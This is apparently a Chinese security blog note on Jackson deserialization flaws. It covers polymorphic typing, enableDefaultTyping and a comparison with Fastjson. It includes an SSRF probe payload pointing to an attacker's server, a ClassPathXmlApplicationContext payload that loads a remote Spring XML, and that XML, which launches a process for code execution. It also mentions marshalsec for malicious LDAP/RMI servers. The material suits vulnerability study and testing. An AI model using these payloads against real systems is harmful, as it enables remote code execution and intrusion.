jackson反序列化漏洞分析

1-反序列化

[1] jackson记录

以目的为导向就是,用[]进行测试判断该参数是否为object类型,是则用ssrf的payload

1
{"test":["javax.swing.JEditorPane", {"page":"http://你的服务ip:8000"}]}	

来测试是否存在jackson的反序列漏洞

程序允许用户通过 JSON 指定类名,就相当于给黑客开了一扇进入 Java 内部世界的门

参考文章Jackson反序列化漏洞 - 知乎

Jackson 反序列化漏洞原理

1.1 多态反序列化(Polymorphic Deserialization)

Jackson 支持将 JSON 自动反序列化为多种类型的 Java 对象,特别是当某字段的类型为 Object、接口或抽象类时,Jackson 允许通过类型信息确定具体类。

常见两种类型标识方式:
  • 外部数组型标识(默认启用)

    1
    "data": ["com.example.SomeClass", { "field": "value" }]
  • 注解型标识(显式开启)

    1
    2
    3
    4
    "data": {
    "@class": "com.example.SomeClass",
    "field": "value"
    }

1.2 漏洞产生的根因

  • Jackson 允许用户从 JSON 中指定任意类名。
  • 反序列化时会自动调用类的构造函数、setter 或 readObject 方法,甚至可能触发危险行为。
  • 攻击者可伪造 payload 利用 Gadget(利用链)执行任意代码。
1.3 默认 Typing 的影响

如果后端配置了:

1
2
ObjectMapper mapper = new ObjectMapper();
mapper.enableDefaultTyping(); // 旧版本默认启用

那么所有非 final 类型(如 Object、Map、List 等)都会被自动启用多态反序列化

—-Fastjson对比—-

特性 Jackson Fastjson
是否支持多态反序列化 ✅ 支持(默认 Object 类型自动支持) ✅ 支持(需要特定字段)
默认是否开启 Object, Object[] 自动支持多态 ❌ 需显示写入 @type
多态字段名称 类名写在数组或配置的 @class 字段中 @type(固定字段名)
利用条件 字段为 Object 或接口(或启用了 DefaultTyping) JSON 中有 @type 且服务未禁用 AutoType
修复方法 禁用 DefaultTyping、白名单类 关闭 autoTypeSupport、升级版本、白名单
gadget 丰富程度 中等(依赖 commons-* 等库) 非常多(内置支持多类库)

[2]推荐工具利用

marshalsec

生成恶意 LDAP/RMI 服务,配合 Java 反序列化漏洞实现 RCE

简单exp:

payload

1
["org.springframework.context.support.ClassPathXmlApplicationContext", "http://192.168.1.12:8000/sping-beans.xml"]

sping-beans.xml

1
2
3
4
5
6
7
8
9
10
11
12
13
<?xml version="1.0" encoding="UTF-8"?>
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://www.springframework.org/schema/beans
http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="payload" class="java.lang.ProcessBuilder" init-method="start">
<constructor-arg>
<list>
<value>calc.exe</value>
</list>
</constructor-arg>
</bean>
</beans>